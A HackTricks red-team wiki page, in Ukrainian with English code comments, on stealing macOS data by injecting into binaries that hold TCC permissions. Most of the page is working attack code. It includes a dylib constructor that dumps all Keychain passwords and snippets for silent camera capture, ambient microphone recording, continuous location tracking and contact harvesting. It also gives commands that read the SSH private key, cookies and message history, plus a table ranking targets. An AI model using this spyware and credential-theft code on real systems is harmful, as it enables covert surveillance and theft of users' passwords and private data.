macOS Крадіжка облікових даних та даних через дозволи TCC
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.
Overview
macOS TCC (Прозорість, Згода та Контроль) захищає доступ до конфіденційних даних користувача. Коли зловмисник компрометує бінарний файл, який уже має надані дозволи TCC, він успадковує ці дозволи. Ця сторінка документує потенціал експлуатації кожного дозволу TCC, пов’язаного з викраденням даних.
Warning
Ін’єкція коду в бінарник з дозволами TCC (через DYLD injection, dylib hijacking або task port) мовчки успадковує всі його дозволи TCC. Додаткових підказок або перевірок не відбувається, коли той самий процес читає захищені дані.
Keychain Access Groups
The Prize
macOS Keychain зберігає:
- Wi-Fi passwords — всі збережені облікові дані бездротових мереж
- Website passwords — паролі Safari, Chrome (коли використовується Keychain) та інших браузерів
- Application passwords — облікові записи електронної пошти, дані доступу до VPN, токени для розробки
- Certificates and private keys — підпис коду, клієнтський TLS, шифрування S/MIME
- Secure notes — секрети, що зберігає користувач
Entitlement: keychain-access-groups
Елементи Keychain організовані в групи доступу. Право застосунку keychain-access-groups перелічує, до яких груп він може отримати доступ:
<key>keychain-access-groups</key>
<array>
<string>com.apple.cfnetwork</string> <!-- Network passwords -->
<string>com.apple.security.personal-information.identity</string> <!-- Personal certs -->
<string>apple</string> <!-- Broad Apple group -->
<string>InternetAccounts</string> <!-- Internet account passwords -->
</array>
Експлуатація
# Find binaries with broad keychain access groups
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE entitlementsString LIKE '%keychain-access-groups%'
AND isAppleBin = 0
ORDER BY privileged DESC;"
# If you can inject into such a binary, enumerate keychain items:
security dump-keychain -d ~/Library/Keychains/login.keychain-db 2>&1 | head -100
# Find specific passwords
security find-generic-password -s "Wi-Fi" -w 2>&1
security find-internet-password -s "github.com" 2>&1
Code Injection → Keychain Theft
// Injected dylib code — runs with the target's keychain groups
#import <Security/Security.h>
__attribute__((constructor))
void dumpKeychain(void) {
NSDictionary *query = @{
(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnAttributes: @YES,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecMatchLimit: (__bridge id)kSecMatchLimitAll
};
CFArrayRef results = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, (CFTypeRef *)&results);
if (status == errSecSuccess) {
NSArray *items = (__bridge NSArray *)results;
for (NSDictionary *item in items) {
NSString *service = item[(__bridge id)kSecAttrService];
NSString *account = item[(__bridge id)kSecAttrAccount];
NSData *passData = item[(__bridge id)kSecValueData];
NSString *password = [[NSString alloc] initWithData:passData encoding:NSUTF8StringEncoding];
// service, account, password — the full credential triple
}
}
}
Доступ до камери (kTCCServiceCamera)
Експлуатація
Бінарний файл із правом доступу до камери в TCC (через kTCCServiceCamera або право com.apple.security.device.camera) може робити знімки та записувати відео:
# Find camera-authorized binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='kTCCServiceCamera' AND auth_value=2;"
Тихе перехоплення
// Injected into a camera-entitled process
#import <AVFoundation/AVFoundation.h>
@interface SilentCapture : NSObject <AVCaptureVideoDataOutputSampleBufferDelegate>
@property (strong) AVCaptureSession *session;
@end
@implementation SilentCapture
- (void)startCapture {
self.session = [[AVCaptureSession alloc] init];
AVCaptureDevice *camera = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:camera error:nil];
[self.session addInput:input];
AVCaptureVideoDataOutput *output = [[AVCaptureVideoDataOutput alloc] init];
[output setSampleBufferDelegate:self queue:dispatch_get_global_queue(0, 0)];
[self.session addOutput:output];
[self.session startRunning];
// Camera LED turns on — but a brief capture may go unnoticed
}
- (void)captureOutput:(AVCaptureOutput *)output
didOutputSampleBuffer:(CMSampleBufferRef)sampleBuffer
fromConnection:(AVCaptureConnection *)connection {
// Each frame can be saved to disk or exfiltrated
// Stop after capturing a few frames to minimize LED time
[self.session stopRunning];
}
@end
Tip
Починаючи з macOS Sonoma, індикатор камери в рядку меню є постійним і не може бути прихований програмно. На старіших версіях macOS, коротка зйомка може не викликати помітного індикатора.
Доступ до мікрофона (kTCCServiceMicrophone)
Експлуатація
Доступ до мікрофона захоплює весь аудіосигнал з вбудованого мікрофона, гарнітури або підключених аудіовхідних пристроїв:
# Find mic-authorized binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='kTCCServiceMicrophone' AND auth_value=2;"
Атака: Ambient Recording
// Injected into a mic-entitled process
#import <AVFoundation/AVFoundation.h>
- (void)recordAudio {
NSURL *url = [NSURL fileURLWithPath:@"/tmp/recording.m4a"];
NSDictionary *settings = @{
AVFormatIDKey: @(kAudioFormatMPEG4AAC),
AVSampleRateKey: @44100.0,
AVNumberOfChannelsKey: @1
};
AVAudioRecorder *recorder = [[AVAudioRecorder alloc] initWithURL:url settings:settings error:nil];
[recorder record];
// Records everything: conversations, phone calls, ambient audio
// Stop after a duration
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 60 * NSEC_PER_SEC),
dispatch_get_main_queue(), ^{
[recorder stop];
// Exfiltrate /tmp/recording.m4a
});
}
Відстеження місцезнаходження (kTCCServiceLocation)
Експлуатація
# Find location-authorized binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service LIKE '%Location%' AND auth_value=2;"
Постійне відстеження
#import <CoreLocation/CoreLocation.h>
@interface Tracker : NSObject <CLLocationManagerDelegate>
@end
@implementation Tracker
- (void)startTracking {
CLLocationManager *mgr = [[CLLocationManager alloc] init];
mgr.delegate = self;
mgr.desiredAccuracy = kCLLocationAccuracyBest;
[mgr startUpdatingLocation];
}
- (void)locationManager:(CLLocationManager *)manager
didUpdateLocations:(NSArray<CLLocation *> *)locations {
CLLocation *loc = locations.lastObject;
// loc.coordinate.latitude, loc.coordinate.longitude
// Reveals: home address, work address, travel patterns, daily routine
NSString *entry = [NSString stringWithFormat:@"%f,%f,%@\n",
loc.coordinate.latitude, loc.coordinate.longitude, [NSDate date]];
// Append to tracking log
}
@end
Контакти / Календар / Фото
Експфільтрація персональних даних
| Служба TCC | Фреймворк | Дані |
|---|---|---|
kTCCServiceAddressBook | Contacts.framework | Імена, електронні адреси, телефони, адреси |
kTCCServiceCalendar | EventKit | Зустрічі, учасники, місця |
kTCCServicePhotos | Photos.framework | Фотографії, скріншоти, метадані місцеположення |
# Find authorized binaries for each service
for svc in kTCCServiceAddressBook kTCCServiceCalendar kTCCServicePhotos; do
echo "=== $svc ==="
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='$svc' AND auth_value=2;"
done
Збір контактів
#import <Contacts/Contacts.h>
CNContactStore *store = [[CNContactStore alloc] init];
NSArray *keys = @[CNContactGivenNameKey, CNContactFamilyNameKey,
CNContactEmailAddressesKey, CNContactPhoneNumbersKey];
CNContactFetchRequest *request = [[CNContactFetchRequest alloc] initWithKeysToFetch:keys];
[store enumerateContactsWithFetchRequest:request error:nil
usingBlock:^(CNContact *contact, BOOL *stop) {
// contact.givenName, contact.familyName
// contact.emailAddresses, contact.phoneNumbers
// All contacts exfiltrated for social engineering / spear phishing
}];
Доступ до облікового запису iCloud
Права доступу: com.apple.private.icloud-account-access
Це право дозволяє взаємодіяти з XPC-сервісом com.apple.iCloudHelper, надаючи доступ до:
- iCloud tokens — токени автентифікації для Apple ID користувача
- iCloud Drive — синхронізовані документи з усіх пристроїв
- iCloud Keychain — паролі, синхронізовані між усіма пристроями Apple
- Find My — місцезнаходження всіх пристроїв користувача Apple
# Find iCloud-entitled binaries
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE iCloudAccs = 1
ORDER BY privileged DESC;"
Caution
Компрометація iCloud-entitled binary розширює атаку з одного пристрою на всю екосистему Apple: інші Macs, iPhones, iPads, Apple Watch. Синхронізація iCloud Keychain означає, що паролі з усіх пристроїв стають доступними.
Full Disk Access (kTCCServiceSystemPolicyAllFiles)
Найпотужніший дозвіл TCC
Full Disk Access надає можливість читати кожен файл у системі, включно з:
- Дані інших додатків (Messages, Mail, історія Safari)
- Бази даних TCC (розкривають усі інші дозволи)
- SSH-ключі та конфігурацію
- cookie браузера та session tokens
- Бази даних та кеші додатків
# Find FDA-granted binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='kTCCServiceSystemPolicyAllFiles' AND auth_value=2;"
# With FDA, read anything:
cat ~/Library/Messages/chat.db # iMessage history
cat ~/Library/Safari/History.db # Safari browsing history
cat ~/Library/Cookies/Cookies.binarycookies # Browser cookies
cat ~/.ssh/id_rsa # SSH private key
Матриця пріоритетів експлуатації
Під час оцінки injectable бінарів, яким TCC надав дозволи, визначайте пріоритети за цінністю даних:
| Пріоритет | TCC Permission | Чому |
|---|---|---|
| Критичний | Full Disk Access | Доступ до всього |
| Критичний | TCC Manager | Може надати будь-які дозволи |
| Високий | Keychain Access Groups | Усі збережені паролі |
| Високий | iCloud Account Access | Компрометація кількох пристроїв |
| Високий | Input Monitoring (ListenEvent) | Запис натискань клавіш |
| Високий | Accessibility | Керування GUI, можливість самонадання дозволів |
| Середній | Screen Capture | Збір візуальної інформації |
| Середній | Camera + Microphone | Спостереження |
| Середній | Contacts + Calendar | Дані для соціальної інженерії |
| Низький | Location | Фізичне відстеження |
| Низький | Photos | Особисті дані |
Скрипт перерахування
#!/bin/bash
echo "=== TCC Credential Theft Surface Audit ==="
echo -e "\n[*] High-value TCC grants (injectable binaries):"
sqlite3 /tmp/executables.db "
SELECT path, tccPermsStr FROM executables
WHERE (noLibVal = 1 OR allowDyldEnv = 1)
AND tccPermsStr IS NOT NULL
AND tccPermsStr != ''
ORDER BY privileged DESC
LIMIT 30;" 2>/dev/null
echo -e "\n[*] Keychain-entitled injectable binaries:"
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE entitlementsString LIKE '%keychain-access-groups%'
AND (noLibVal = 1 OR allowDyldEnv = 1);" 2>/dev/null
echo -e "\n[*] iCloud-entitled binaries:"
sqlite3 /tmp/executables.db "
SELECT path FROM executables WHERE iCloudAccs = 1;" 2>/dev/null
Посилання
- Apple Developer — Keychain Services
- Apple Developer — TCC
- Objective-See — TCC Exploitation
- OBTS v5.0 — iCloud Token Extraction (Wojciech Regula)
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.


